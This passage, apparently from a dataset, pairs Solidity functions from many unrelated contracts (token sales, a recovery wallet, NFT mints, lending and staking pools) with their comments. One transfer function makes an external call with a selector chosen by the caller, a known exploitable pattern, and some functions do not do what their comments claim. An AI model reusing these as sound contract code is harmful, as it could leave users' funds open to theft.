{\r\n stageId = 4;\r\n\r\n } else {\r\n return 5;\r\n }\r\n\r\n uint tempId = (stageId > period) ? stageId : period;\r\n return tempId;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Returns Limit of coins for the period and Number of coins taking\r\n * into account the bonus for the period\r\n */", "function_code": "function getStageData() public view returns(uint tempLimit, uint tempBonus) {\r\n uint stageId = getStageId();\r\n tempBonus = stages[stageId].bonus;\r\n\r\n if (stageId == 0) {\r\n tempLimit = stages[0].limit;\r\n\r\n } else if (stageId == 1) {\r\n tempLimit = (stages[0].limit).add(stages[1].limit);\r\n\r\n } else if (stageId == 2) {\r\n tempLimit = (stages[0].limit).add(stages[1].limit).add(stages[2].limit);\r\n\r\n } else if (stageId == 3) {\r\n tempLimit = (stages[0].limit).add(stages[1].limit).add(stages[2].limit).add(stages[3].limit);\r\n\r\n } else {\r\n tempLimit = token.balanceOf(this);\r\n tempBonus = typicalBonus;\r\n return;\r\n }\r\n tempLimit = tempLimit.sub(totalSold);\r\n return;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Sending tokens to the recipient, based on the amount of ether that it sent\r\n * @param _etherValue uint Amount of sent ether\r\n * @param _to address The address which you want to transfer to\r\n */", "function_code": "function sendTokens(uint _etherValue, address _to) internal isUnderHardCap {\r\n uint limit;\r\n uint bonusCoefficient;\r\n (limit, bonusCoefficient) = getStageData();\r\n uint tokens = (_etherValue).mul(bonusCoefficient).mul(decimals).div(100);\r\n tokens = tokens.div(rate);\r\n bool needPause;\r\n\r\n if (tokens > limit) {\r\n needPause = true;\r\n uint stageEther = calculateStagePrice();\r\n period++;\r\n if (period == 4) {\r\n balances[msg.sender] = balances[msg.sender].add(stageEther);\r\n sumWei = sumWei.add(stageEther);\r\n token.ownersTransfer(_to, limit);\r\n totalSold = totalSold.add(limit);\r\n _to.transfer(_etherValue.sub(stageEther));\r\n state = false;\r\n return;\r\n }\r\n balances[msg.sender] = balances[msg.sender].add(stageEther);\r\n sumWei = sumWei.add(stageEther);\r\n token.ownersTransfer(_to, limit);\r\n totalSold = totalSold.add(limit);\r\n sendTokens(_etherValue.sub(stageEther), _to);\r\n\r\n } else {\r\n require(tokens <= token.balanceOf(this));\r\n if (limit.sub(tokens) < 500) {\r\n needPause = true;\r\n period++;\r\n }\r\n balances[msg.sender] = balances[msg.sender].add(_etherValue);\r\n sumWei = sumWei.add(_etherValue);\r\n token.ownersTransfer(_to, tokens);\r\n totalSold = totalSold.add(tokens);\r\n }\r\n\r\n if (needPause) {\r\n pausedByValue = true;\r\n usersPause();\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Moving date after the pause\r\n * @param _shift uint Time in seconds\r\n */", "function_code": "function dateMove(uint _shift) private returns(bool) {\r\n require(_shift > 0);\r\n\r\n uint i;\r\n\r\n if (pausedByValue) {\r\n stages[period].start = now;\r\n stages[period].stop = (stages[period].start).add(stages[period].duration);\r\n\r\n for (i = period + 1; i < 4; i++) {\r\n stages[i].start = stages[i - 1].stop;\r\n stages[i].stop = (stages[i].start).add(stages[i].duration);\r\n }\r\n\r\n } else {\r\n if (manualPause) stages[period].stop = (stages[period].stop).add(_shift);\r\n\r\n for (i = period + 1; i < 4; i++) {\r\n stages[i].start = (stages[i].start).add(_shift);\r\n stages[i].stop = (stages[i].stop).add(_shift);\r\n }\r\n }\r\n\r\n emit DateMoved(_shift);\r\n\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Set start date\r\n * @param _start uint Time start\r\n */", "function_code": "function setStartDate(uint _start) public onlyOwner returns(bool) {\r\n require(_start > now);\r\n require(requireOnce);\r\n\r\n stages[0].start = _start;\r\n stages[0].stop = _start.add(stages[0].duration);\r\n stages[1].start = stages[0].stop;\r\n stages[1].stop = stages[1].start.add(stages[1].duration);\r\n stages[2].start = stages[1].stop;\r\n stages[2].stop = stages[2].start.add(stages[2].duration);\r\n stages[3].start = stages[2].stop;\r\n stages[3].stop = stages[3].start.add(stages[3].duration);\r\n\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * This function transfer `_usdtAmount` USDT to the smart contract\r\n * and calculate the amount of Lyn then send Lyn to the buyer\r\n */", "function_code": "function buy(uint256 _usdtAmount) onlyBuyable() external {\r\n // Calculate lyn amount\r\n uint256 lynAmount = _usdtAmount.mul(LYN_DECIMAL).div(marketPrice);\r\n\r\n // Transfer usdt to this contract\r\n usdtToken.transferFrom(msg.sender, address(this), _usdtAmount);\r\n\r\n // Transfer lyn to buyer\r\n lynToken.transfer(msg.sender, lynAmount);\r\n\r\n emit Buy(msg.sender, _usdtAmount, lynAmount);\r\n }", "version": "0.6.12"} {"comment": "/* Constructor taking\r\n * resqueAccountHash: keccak256(address resqueAccount);\r\n * authorityAccount: address of authorityAccount that will set data for withdrawing to Emergency account\r\n * kwHash: keccak256(\"your keyword phrase\");\r\n * photoHshs: array of keccak256(keccak256(data_of_yourphoto.pdf)) - hashes of photo files taken for this NYX Account. \r\n */", "function_code": "function NYX(bytes32 resqueAccountHash, address authorityAccount, bytes32 kwHash, bytes32[10] photoHshs) {\r\n owner = msg.sender;\r\n resqueHash = resqueAccountHash;\r\n authority = authorityAccount;\r\n keywordHash = kwHash;\r\n // save photo hashes as state forever\r\n uint8 x = 0;\r\n while(x < photoHshs.length)\r\n {\r\n photoHashes[x] = photoHshs[x];\r\n x++;\r\n }\r\n }", "version": "0.4.15"} {"comment": "// Switch on/off Last Chance function", "function_code": "function toggleLastChance(bool useResqueAccountAddress) onlyByOwner()\r\n\t{\r\n\t // Only allowed in normal stage to prevent changing this by stolen Owner's account\r\n\t require(stage == Stages.Normal);\r\n\t // Toggle Last Chance function flag\r\n\t\tlastChanceEnabled = !lastChanceEnabled;\r\n\t\t// If set to true knowing of Resque address (not key or password) will be required to use Last Chance function\r\n\t\tlastChanceUseResqueAccountAddress = useResqueAccountAddress;\r\n\t}", "version": "0.4.15"} {"comment": "// Standard transfer Ether using Owner account", "function_code": "function transferByOwner(address recipient, uint amount) onlyByOwner() payable {\r\n // Only in Normal stage possible\r\n require(stage == Stages.Normal);\r\n // Amount must not exeed this.balance\r\n require(amount <= this.balance);\r\n\t\t// Require valid address to transfer\r\n\t\trequire(recipient != address(0x0));\r\n\t\t\r\n recipient.transfer(amount);\r\n // This is used by Last Chance function\r\n\t\tlastExpenseTime = now;\r\n }", "version": "0.4.15"} {"comment": "/// Withdraw to Resque Account in case of loosing Owner account access", "function_code": "function withdrawByResque() onlyByResque() {\r\n // If not already requested (see below)\r\n if(stage != Stages.ResqueRequested)\r\n {\r\n // Set time for counting down a quarantine period\r\n resqueRequestTime = now;\r\n // Change stage that it'll not be possible to use Owner account to transfer money\r\n stage = Stages.ResqueRequested;\r\n return;\r\n }\r\n // Check for being in quarantine period\r\n else if(now <= resqueRequestTime + 1 days)\r\n {\r\n return;\r\n }\r\n // Come here after quarantine\r\n require(stage == Stages.ResqueRequested);\r\n msg.sender.transfer(this.balance);\r\n }", "version": "0.4.15"} {"comment": "/* \r\n * Setting Emergency Account in case of loosing access to Owner and Resque accounts\r\n * emergencyAccountHash: keccak256(\"your keyword phrase\", address ResqueAccount)\r\n * photoHash: keccak256(\"one_of_your_photofile.pdf_data_passed_to_constructor_of_this_NYX_Account_upon_creation\")\r\n */", "function_code": "function setEmergencyAccount(bytes32 emergencyAccountHash, bytes32 photoHash) onlyByAuthority() {\r\n require(photoHash != 0x0 && emergencyAccountHash != 0x0);\r\n /// First check that photoHash is one of those that exist in this NYX Account\r\n uint8 x = 0;\r\n bool authorized = false;\r\n while(x < photoHashes.length)\r\n {\r\n if(photoHashes[x] == keccak256(photoHash))\r\n {\r\n // Photo found, continue\r\n authorized = true;\r\n break;\r\n }\r\n x++;\r\n }\r\n require(authorized);\r\n /// Set count down time for quarantine period\r\n authorityRequestTime = now;\r\n /// Change stage in order to protect from withdrawing by Owner's or Resque's accounts \r\n stage = Stages.AuthorityRequested;\r\n /// Set supplied hash that will be used to withdraw to Emergency account after quarantine\r\n\t\temergencyHash = emergencyAccountHash;\r\n }", "version": "0.4.15"} {"comment": "/*\r\n * Allows optionally unauthorized withdrawal to any address after loosing \r\n * all authorization assets such as keyword phrase, photo files, private keys/passwords\r\n */", "function_code": "function lastChance(address recipient, address resqueAccount)\r\n\t{\r\n\t /// Last Chance works only if was previosly enabled AND after 2 months since last outgoing transaction\r\n\t\tif(!lastChanceEnabled || now <= lastExpenseTime + 61 days)\r\n\t\t\treturn;\r\n\t\t/// If use of Resque address was required\t\r\n\t\tif(lastChanceUseResqueAccountAddress)\r\n\t\t\trequire(keccak256(resqueAccount) == resqueHash);\r\n\t\t\t\r\n\t\trecipient.transfer(this.balance);\t\t\t\r\n\t}", "version": "0.4.15"} {"comment": "// Transfer the balance from simple account to account in the fund", "function_code": "function fundTransferIn(address _fundManager, address _to, uint256 _amount) public {\r\n require(fundManagers[_fundManager]);\r\n require(!fundManagers[msg.sender]);\r\n\r\n require(balances[msg.sender] >= _amount);\r\n require(_amount > 0);\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(_amount);\r\n balances[_fundManager] = balances[_fundManager].add(_amount);\r\n fundBalances[_fundManager][_to] = fundBalances[_fundManager][_to].add(_amount);\r\n\r\n emit FundTransferIn(msg.sender, _fundManager, _to, _amount);\r\n emit Transfer(msg.sender, _fundManager, _amount);\r\n }", "version": "0.4.21"} {"comment": "// Transfer the balance between two accounts within the fund", "function_code": "function fundTransferWithin(address _from, address _to, uint256 _amount) public {\r\n require(fundManagers[msg.sender]);\r\n\r\n require(_amount > 0);\r\n require(balances[msg.sender] >= _amount);\r\n require(fundBalances[msg.sender][_from] >= _amount);\r\n\r\n fundBalances[msg.sender][_from] = fundBalances[msg.sender][_from].sub(_amount);\r\n fundBalances[msg.sender][_to] = fundBalances[msg.sender][_to].add(_amount);\r\n\r\n if (fundBalances[msg.sender][_from] == 0){\r\n delete fundBalances[msg.sender][_from];\r\n }\r\n\r\n emit FundTransferWithin(msg.sender, _from, _to, _amount);\r\n }", "version": "0.4.21"} {"comment": "// destroy tokens that belong to the fund you control\n// this decreases that account's balance, fund balance, total supply", "function_code": "function fundBurn(address _fundAccount, uint256 _amount) public onlyFundManager {\r\n require(fundManagers[msg.sender]);\r\n require(balances[msg.sender] != 0);\r\n require(fundBalances[msg.sender][_fundAccount] > 0);\r\n require(_amount > 0);\r\n require(_amount <= fundBalances[msg.sender][_fundAccount]);\r\n\r\n assert(_amount <= totalSupply);\r\n assert(_amount <= balances[msg.sender]);\r\n\r\n totalSupply = totalSupply.sub(_amount);\r\n balances[msg.sender] = balances[msg.sender].sub(_amount);\r\n fundBalances[msg.sender][_fundAccount] = fundBalances[msg.sender][_fundAccount].sub(_amount);\r\n\r\n emit FundBurn(msg.sender, _fundAccount, _amount);\r\n }", "version": "0.4.21"} {"comment": "/**\n * @dev Generates the class based on a pre-defined distribution\n * 1 = Pilot, 2 = Engineer, 3 = Miner, 4 = Merchant, 5 = Scientist\n * @param _seed Generator seed to derive from\n */", "function_code": "function generateClass(bytes32 _seed) public pure returns (uint) {\n bytes32 seed = _seed.derive(\"class\");\n uint roll = uint(seed.getIntBetween(1, 10001));\n uint[5] memory classes = [ uint(703), 2770, 7122, 8837, 10000 ];\n\n for (uint i = 0; i < 5; i++) {\n if (roll <= classes[i]) {\n return i + 1;\n }\n }\n\n return 1;\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Generates clothes based on the sex and class\n * 1-3 = Light spacesuit, 4-6 = Heavy spacesuit, 7-9 = Lab coat, 10-12 = Industrial, 12-15 = Rebel, 16-18 = Station\n * @param _seed Generator seed to derive from\n * @param _class The class of the crew member\n */", "function_code": "function generateClothes(bytes32 _seed, uint _class) public pure returns (uint) {\n bytes32 seed = _seed.derive(\"clothes\");\n uint roll = uint(seed.getIntBetween(1, 10001));\n uint outfit = 0;\n\n uint[6][5] memory outfits = [\n [ uint(3333), 3333, 3333, 3333, 6666, 10000 ],\n [ uint(2500), 5000, 5000, 7500, 7500, 10000 ],\n [ uint(2500), 5000, 5000, 7500, 7500, 10000 ],\n [ uint(5000), 5000, 5000, 5000, 5000, 10000 ],\n [ uint(3333), 3333, 6666, 6666, 6666, 10000 ]\n ];\n\n for (uint i = 0; i < 6; i++) {\n if (roll <= outfits[_class - 1][i]) {\n outfit = i;\n break;\n }\n }\n\n seed = _seed.derive(\"clothesVariation\");\n roll = uint(seed.getIntBetween(1, 4));\n return (outfit * 3) + roll;\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Generates hair based on the sex\n * 0 = Bald, 1 - 5 = Male hair, 6 - 11 = Female hair\n * @param _seed Generator seed to derive from\n * @param _sex The sex of the crew member\n */", "function_code": "function generateHair(bytes32 _seed, uint _sex) public pure returns (uint) {\n bytes32 seed = _seed.derive(\"hair\");\n uint style;\n\n if (_sex == 1) {\n style = uint(seed.getIntBetween(0, 6));\n } else {\n style = uint(seed.getIntBetween(0, 7));\n }\n\n if (style == 0) {\n return 0;\n } else {\n return style + (_sex - 1) * 5;\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Generates facial hair, piercings, scars depending on sex\n * 0 = None, 1 = Scar, 2 = Piercings, 3 - 7 = Facial hair\n * @param _seed Generator seed to derive from\n * @param _sex The sex of the crew member\n */", "function_code": "function generateFacialFeatures(bytes32 _seed, uint _sex) public pure returns (uint) {\n bytes32 seed = _seed.derive(\"facialFeatures\");\n uint feature = uint(seed.getIntBetween(0, 3));\n\n if (_sex == 1 && feature == 2) {\n seed = _seed.derive(\"facialHair\");\n return uint(seed.getIntBetween(3, 8));\n } else {\n return feature;\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Generates a potential head piece based on class\n * 0 = None, 1 = Goggles, 2 = Glasses, 3 = Patch, 4 = Mask, 5 = Helmet\n * @param _seed Generator seed to derive from\n * @param _mod Modifier that increases chances of more rare items\n */", "function_code": "function generateHeadPiece(bytes32 _seed, uint _class, uint _mod) public pure returns (uint) {\n bytes32 seed = _seed.derive(\"headPiece\");\n uint roll = uint(seed.getIntBetween(int128(_mod), 10001));\n uint[6][5] memory headPieces = [\n [ uint(6667), 6667, 8445, 8889, 9778, 10000 ],\n [ uint(6667), 7619, 9524, 9524, 9524, 10000 ],\n [ uint(6667), 8572, 8572, 9524, 9524, 10000 ],\n [ uint(6667), 6667, 7778, 7778, 10000, 10000 ],\n [ uint(6667), 6667, 8572, 9048, 10000, 10000 ]\n ];\n\n for (uint i = 0; i < 6; i++) {\n if (roll <= headPieces[_class - 1][i]) {\n return i;\n }\n }\n\n return 0;\n }", "version": "0.7.6"} {"comment": "// mint functions", "function_code": "function ownerMint(address to_, uint amount_) external onlyOwner {\r\n require((totalSupply() + amount_) <= maxTokens, \"Amount Exceeds Maximum Tokens!\");\r\n for (uint i = 0; i < amount_; i++) {\r\n _mint(to_, totalSupply());\r\n }\r\n }", "version": "0.8.7"} {"comment": "// special overrides ", "function_code": "function transferFrom(address from_, address to_, uint tokenId_) public override {\r\n // if Spore contract is initiated, do a hook, if not, just do basic behavior\r\n if ( Spore != iSpore(address(0x0)) ) {\r\n Spore.updateReward(from_, to_, tokenId_);\r\n }\r\n ERC721.transferFrom(from_, to_, tokenId_);\r\n }", "version": "0.8.7"} {"comment": "// claim erc721", "function_code": "function claimERC721(\r\n string memory _nftKey,\r\n address _nftContract,\r\n address _owner,\r\n uint256 _tokenId\r\n ) public payable nonReentrant {\r\n require(msg.value > 0, \"Price must be greater than zero\"); //check price must be greater than zero\r\n require(vaultItemData[_nftKey] == msg.value, \"Invalid Bid Price\");\r\n\r\n // send payment to NFT Owner\r\n claims[claimPointer]=Claim(\r\n payable(msg.sender),\r\n _nftContract,\r\n _owner,\r\n _tokenId,\r\n msg.value,\r\n 0,\r\n \"\",\r\n false\r\n );\r\n claimPointer++;\r\n }", "version": "0.8.11"} {"comment": "//claim erc1155", "function_code": "function claimERC1155(\r\n string memory _nftKey,\r\n address _nftContract,\r\n address _owner,\r\n uint256 _amount,\r\n uint256 _tokenId,\r\n bytes memory _data\r\n ) public payable nonReentrant {\r\n require(msg.value > 0, \"Price must be greater than zero\"); //check price must be greater than zero\r\n require(vaultItemData[_nftKey] == msg.value, \"Invalid Bid Price\");\r\n \r\n\r\n claims[claimPointer]=Claim(\r\n payable(msg.sender),\r\n _nftContract,\r\n _owner,\r\n _tokenId,\r\n msg.value,\r\n _amount,\r\n _data,\r\n false\r\n );\r\n claimPointer++;\r\n }", "version": "0.8.11"} {"comment": "/**\r\n * @dev Used to calculate and store the amount of claimable FIN ERC20 from existing FIN point balances\r\n * @param _recordAddress - the registered address assigned to FIN ERC20 claiming\r\n * @param _finPointAmount - the original amount of FIN points to be moved, this param should always be entered as base units\r\n * i.e., 1 FIN = 10**18 base units\r\n * @param _applyClaimRate - flag to apply the claim rate or not, any Finterra Technologies company FIN point allocations\r\n * are strictly moved at one to one and do not recive the claim (airdrop) bonus applied to FIN point user balances\r\n */", "function_code": "function recordCreate(address _recordAddress, uint256 _finPointAmount, bool _applyClaimRate) public onlyOwner canRecord {\r\n require(_finPointAmount >= 100000); // minimum allowed FIN 0.000000000001 (in base units) to avoid large rounding errors\r\n\r\n uint256 finERC20Amount;\r\n\r\n if(_applyClaimRate == true) {\r\n finERC20Amount = _finPointAmount.mul(claimRate).div(100);\r\n } else {\r\n finERC20Amount = _finPointAmount;\r\n }\r\n\r\n claimableFIN[_recordAddress] = claimableFIN[_recordAddress].add(finERC20Amount);\r\n\r\n emit FINRecordCreate(_recordAddress, _finPointAmount, claimableFIN[_recordAddress]);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Function to set the migration contract address\r\n * @return True if the operation was successful.\r\n */", "function_code": "function setMigrationAddress(FINERC20Migrate _finERC20MigrationContract) public onlyOwner returns (bool) {\r\n // check that this FIN ERC20 deployment is the migration contract's attached ERC20 token\r\n require(_finERC20MigrationContract.getERC20() == address(this));\r\n\r\n finERC20MigrationContract = _finERC20MigrationContract;\r\n emit SetMigrationAddress(_finERC20MigrationContract);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Function to set the TimeLock contract address\r\n * @return True if the operation was successful.\r\n */", "function_code": "function setTimeLockAddress(TimeLock _timeLockContract) public onlyOwner returns (bool) {\r\n // check that this FIN ERC20 deployment is the timelock contract's attached ERC20 token\r\n require(_timeLockContract.getERC20() == address(this));\r\n\r\n timeLockContract = _timeLockContract;\r\n emit SetTimeLockAddress(_timeLockContract);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Function to start the migration period\r\n * @return True if the operation was successful.\r\n */", "function_code": "function startMigration() onlyOwner public returns (bool) {\r\n require(migrationStart == false);\r\n // check that the FIN migration contract address is set\r\n require(finERC20MigrationContract != address(0));\r\n // // check that the TimeLock contract address is set\r\n require(timeLockContract != address(0));\r\n\r\n migrationStart = true;\r\n emit MigrationStarted();\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// function addLiquidityETH(uint256 tokenAmount) external payable {\n// // approve token transfer to cover all possible scenarios\n// _approve(address(this), address(uniswapV2Router), tokenAmount);\n// // add the liquidity\n// uniswapV2Router.addLiquidityETH{value: msg.value}(\n// address(this),\n// tokenAmount,\n// 0, // slippage is unavoidable\n// 0, // slippage is unavoidable\n// msg.sender,\n// block.timestamp\n// );\n// }", "function_code": "function _approve(address owner, address spender, uint256 amount) internal {\r\n require(owner != address(0), \"IERC20: approve from the zero address\");\r\n require(spender != address(0), \"IERC20: approve to the zero address\");\r\n\r\n _allowances[owner][spender] = amount;\r\n emit Approval(owner, spender, amount);\r\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Function to calculate the interest using a compounded interest rate formula\n * To avoid expensive exponentiation, the calculation is performed using a binomial approximation:\n *\n * (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...\n *\n * The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions\n * The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods\n *\n * @param rate The interest rate, in ray\n * @param lastUpdateTimestamp The timestamp of the last update of the interest\n * @return The interest rate compounded during the timeDelta, in ray\n **/", "function_code": "function calculateCompoundedInterest(\n uint256 rate,\n uint40 lastUpdateTimestamp,\n uint256 currentTimestamp\n ) internal pure returns (uint256) {\n //solhint-disable-next-line\n uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp));\n\n if (exp == 0) {\n return WadRayMath.ray();\n }\n\n uint256 expMinusOne = exp - 1;\n\n uint256 expMinusTwo = exp > 2 ? exp - 2 : 0;\n\n uint256 ratePerSecond = rate / _SECONDS_PER_YEAR;\n\n uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond);\n uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond);\n\n uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2;\n uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6;\n\n return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev transfer token for a specified address with call custom function external data\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n * @param _data The data to call tokenFallback function.\r\n * @param _fallback The function name and params to call external function\r\n */", "function_code": "function transfer(address _to, uint256 _value, bytes _data, string _fallback) public whenNotPaused returns (bool) {\r\n require( _to != address(0));\r\n \r\n if (isContract(_to)) { \r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n\r\n assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_fallback))), msg.sender, _value, _data));\r\n \r\n if (_data.length == 0) {\r\n emit Transfer(msg.sender, _to, _value);\r\n } else {\r\n emit Transfer(msg.sender, _to, _value);\r\n emit Transfer(msg.sender, _to, _value, _data);\r\n }\r\n return true;\r\n } else {\r\n return transferToAddress(msg.sender, _to, _value, _data);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Deposit ETH/ERC20_Token.\n * @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)\n * @param _amount: token amount to deposit.\n */", "function_code": "function deposit(address _asset, uint256 _amount) external payable override {\n //Get cyToken address from mapping\n address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);\n\n //Enter and/or ensure collateral market is enacted\n _enterCollatMarket(cyTokenAddr);\n\n if (_isETH(_asset)) {\n // Transform ETH to WETH\n IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }();\n _asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n }\n\n // Create reference to the ERC20 contract\n IERC20 erc20token = IERC20(_asset);\n\n // Create a reference to the cyToken contract\n ICyErc20 cyToken = ICyErc20(cyTokenAddr);\n\n //Checks, Vault balance of ERC20 to make deposit\n require(erc20token.balanceOf(address(this)) >= _amount, \"Not enough Balance\");\n\n //Approve to move ERC20tokens\n erc20token.uniApprove(address(cyTokenAddr), _amount);\n\n // IronBank Protocol mints cyTokens, trhow error if not\n require(cyToken.mint(_amount) == 0, \"Deposit-failed\");\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Payback borrowed ETH/ERC20_Token.\n * @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)\n * @param _amount: token amount to payback.\n */", "function_code": "function payback(address _asset, uint256 _amount) external payable override {\n //Get cyToken address from mapping\n address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);\n\n if (_isETH(_asset)) {\n // Transform ETH to WETH\n IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }();\n _asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n }\n\n // Create reference to the ERC20 contract\n IERC20 erc20token = IERC20(_asset);\n\n // Create a reference to the corresponding cyToken contract\n ICyErc20 cyToken = ICyErc20(cyTokenAddr);\n\n // Check there is enough balance to pay\n require(erc20token.balanceOf(address(this)) >= _amount, \"Not-enough-token\");\n erc20token.uniApprove(address(cyTokenAddr), _amount);\n cyToken.repayBorrow(_amount);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).\n * @param _asset: token address to query the current borrowing rate.\n */", "function_code": "function getBorrowRateFor(address _asset) external view override returns (uint256) {\n address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);\n\n //Block Rate transformed for common mantissa for Fuji in ray (1e27), Note: IronBank uses base 1e18\n uint256 bRateperBlock = (IGenCyToken(cyTokenAddr).borrowRatePerBlock()).mul(10**9);\n\n // The approximate number of blocks per year that is assumed by the IronBank interest rate model\n uint256 blocksperYear = 2102400;\n return bRateperBlock.mul(blocksperYear);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Cheks if the msg.sender that have ADMIN permition.\r\n */", "function_code": "function _checkAdmin()internal view {\r\n bool isAdmin = false;\r\n for (uint i = 0; i < ADMINS.length; i++){\r\n if(!isAdmin)\r\n isAdmin = ADMINS[i] == msg.sender;\r\n else \r\n break;\r\n }\r\n\r\n if (!isAdmin) {\r\n revert(\r\n string(\r\n abi.encodePacked(\r\n \"Address is not admin\"\r\n )\r\n )\r\n );\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Cheks the hash message and signature for the buy function.\r\n * @param _hash the bytes for the message hash\r\n * @param _signature the signature of the message\r\n * @param _account the account of the signer\r\n */", "function_code": "function _checkHash(bytes32 _hash, bytes memory _signature, address _account ) internal view returns (bool) {\r\n bytes32 senderHash = _senderMessageHash();\r\n if (senderHash != _hash) {\r\n return false;\r\n }\r\n return _hash.recover(_signature) == _account;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Allow anyone to buy presale tokens for the right price.\r\n * @param _purchaseAmount the amount of tokens to buy\r\n * @param _hash the bytes for the message hash\r\n * @param _signature the signature of the message \r\n */", "function_code": "function buy(uint256 _purchaseAmount, bytes32 _hash, bytes memory _signature) public payable {\r\n require(_purchaseAmount > 0, \"You Should Buy at least 1.\");\r\n require(_purchaseAmount + PURCHASED[msg.sender] <= MAX_PURCHASE, \"Maximum amount exceded per wallet\");\r\n require(SUPPLY + _purchaseAmount <= MAX_SUPPLY, \"400 maximum.\");\r\n require(msg.value >= PRICE * _purchaseAmount, \"Insufficient value.\");\r\n require(_checkHash(_hash, _signature, SIGNER), \"Address is not on Presale List\");\r\n PURCHASED[msg.sender] += _purchaseAmount;\r\n for (uint i = 0; i < _purchaseAmount; i++) {\r\n OWNERS.push(msg.sender);\r\n }\r\n SUPPLY += _purchaseAmount;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Divides the correct amount of tokens for every address by 100 presale tokens.\r\n */", "function_code": "function withdraw() public payable onlyAdmin {\r\n require(SUPPLY >= 100, \"The minimum supply to withdraw is 100.\");\r\n uint paymentStage = uint ((SUPPLY - LAST_SUPPLY)/ 100);\r\n uint256 QDamount = (QDpayment * paymentStage);\r\n uint256 ARTamount = (ARTpayment * paymentStage);\r\n (bool qd, ) = payable(QDaddress).call{value: QDamount}(\"\");\r\n require(qd);\r\n (bool art, ) = payable(ARTaddress).call{value: ARTamount}(\"\");\r\n require(art);\r\n (bool project, ) = payable(projectAddress).call{value: (PRICE * paymentStage * 100) - (ARTamount + QDamount)}(\"\");\r\n require(project);\r\n LAST_SUPPLY = paymentStage * 100;\r\n }", "version": "0.8.7"} {"comment": "// Stake funds into the pool", "function_code": "function stake(uint256 amount) public virtual {\n // Calculate tax and after-tax amount\n uint256 taxRate = calculateTax();\n uint256 taxedAmount = amount.mul(taxRate).div(100);\n uint256 stakedAmount = amount.sub(taxedAmount);\n\n // Increment sender's balances and total supply\n _balances[msg.sender] = _balances[msg.sender].add(stakedAmount);\n _totalSupply = _totalSupply.add(stakedAmount);\n // Increment dev fund by tax\n devFund = devFund.add(taxedAmount);\n\n // Transfer funds\n stakingToken.safeTransferFrom(msg.sender, address(this), amount);\n }", "version": "0.6.12"} {"comment": "// Distributes the dev fund to the developer addresses, callable by anyone", "function_code": "function distributeDevFund() public virtual {\n // Reset dev fund to 0 before distributing any funds\n uint256 totalDistributionAmount = devFund;\n devFund = 0;\n // Distribute dev fund according to percentages\n for (uint256 i = 0; i < devCount; i++) {\n uint256 devPercentage = devAllocations[devIDs[i]];\n uint256 allocation = totalDistributionAmount.mul(devPercentage).div(\n 100\n );\n if (allocation > 0) {\n stakingToken.safeTransfer(devIDs[i], allocation);\n }\n }\n }", "version": "0.6.12"} {"comment": "// Return the tax amount according to current block time", "function_code": "function calculateTax() public view returns (uint256) {\n // Pre-pool start time = 3% tax\n if (block.timestamp < startTime) {\n return 3;\n // 0-60 minutes after pool start time = 5% tax\n } else if (\n block.timestamp.sub(startTime) >= 0 minutes &&\n block.timestamp.sub(startTime) <= 60 minutes\n ) {\n return 5;\n // 60-90 minutes after pool start time = 3% tax\n } else if (\n block.timestamp.sub(startTime) > 60 minutes &&\n block.timestamp.sub(startTime) <= 90 minutes\n ) {\n return 3;\n // 90+ minutes after pool start time = 1% tax\n } else if (block.timestamp.sub(startTime) > 90 minutes) {\n return 1;\n }\n }", "version": "0.6.12"} {"comment": "// Staking function which updates the user balances in the parent contract", "function_code": "function stake(uint256 amount) public override {\n updateReward(msg.sender);\n require(amount > 0, \"Cannot stake 0\");\n super.stake(amount);\n\n // Users that have bought multipliers will have an extra 